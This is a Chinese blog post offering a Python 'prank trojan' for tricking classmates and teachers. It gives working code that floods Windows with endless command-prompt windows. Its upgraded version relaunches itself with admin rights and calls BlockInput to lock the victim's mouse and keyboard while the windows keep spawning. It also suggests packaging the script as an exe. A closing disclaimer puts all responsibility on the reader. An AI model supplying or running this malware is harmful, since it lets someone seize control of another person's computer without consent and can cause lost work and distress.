Python版无限弹窗(禁用鼠标键盘不禁触摸板)

提示:整蛊小木马简单好玩又实用期末将近可刺激着急的同学们也可以整蛊老师不要过分

!!!注意不要过分!!!

一、无限弹窗

1.引入库

代码如下(示例):

import os

通过while死循环用os库调用cmd弹窗

2.while循环

代码如下(示例):

while True:
        os.system('start cmd')
         但是如果这样就心满意足那是远远不够的,这样的程序容易关闭,可以添加上禁用鼠标键盘等功能,然后还可以进行封装为exe可执行文件(个人主页有封装好的两个版本)。

二、无限弹窗PLUS

1.引入库

代码如下(示例):

import ctypes

import os

import sys

2.升级版代码

        利用BlockInput函数传入True 的参数来阻止用户所有的输入操作,然后再while循环下调用BlockInput函数传入 False 的参数,理论上在循环结束就会恢复用户的输入操作,但是我们的循环会结束吗。(个人主页有封装好的exe两个版本)

代码如下(示例):

import ctypes
# 导入 ctypes 库,它提供了和 C 语言兼容的数据类型,用于调用动态链接库中的函数
import os
# 导入 os 库,用于与操作系统进行交互,执行如运行 shell 命令等系统相关操作
import sys
# 导入 sys 库,用于获取 Python 解释器相关的信息以及操作命令行参数等

def admin():
    try:
        # 尝试调用 Windows 的 shell32.dll 库中的 IsUserAnAdmin 函数
        # ctypes.windll 用于加载 Windows 系统下的动态链接库
        # IsUserAnAdmin 函数用于检测当前用户是否具有管理员权限
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        # 如果在调用 IsUserAnAdmin 函数时出现异常,例如找不到函数、权限不足等情况
        # 捕获异常,并返回 False,表示当前用户不是管理员
        return False


if admin():
    # 如果 admin 函数返回 True,即当前用户是管理员
    user32 = ctypes.WinDLL('user32.dll')
    # 加载 user32.dll 动态链接库,user32.dll 包含了许多与用户界面交互相关的函数
    user32.BlockInput(True)
    # 调用 user32.dll 中的 BlockInput 函数,传入 True 参数,用于阻止用户的所有输入
    while True:
        os.system('start cmd')
        # 进入无限循环,每次循环执行 os 库的 system 函数
        # system 函数执行 shell 命令,这里的'start cmd' 是 Windows 下启动命令提示符的命令
    user32.BlockInput(False)
    # 理论上如果循环结束,调用 BlockInput 函数并传入 False,恢复用户输入
    # 但由于是无限循环,这行代码正常情况下不会执行
else:
    # 如果 admin 函数返回 False,即当前用户不是管理员
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    # 使用 ShellExecuteW 函数尝试以管理员身份重新运行当前脚本
    # 参数含义:
    # None:父窗口句柄,这里设为 None 表示无父窗口
    # "runas": 操作类型,指示以管理员身份运行
    # sys.executable: 当前 Python 解释器的可执行文件路径
    # __file__: 当前脚本文件的路径
    # None: 命令行参数,这里无额外参数,所以设为 None
    # 1: 显示模式,数字 1 通常表示以正常窗口模式显示

总结

注意:文章仅供娱乐逗逗老师同学如发生其他事与本作者无关

你可能感兴趣的:(python)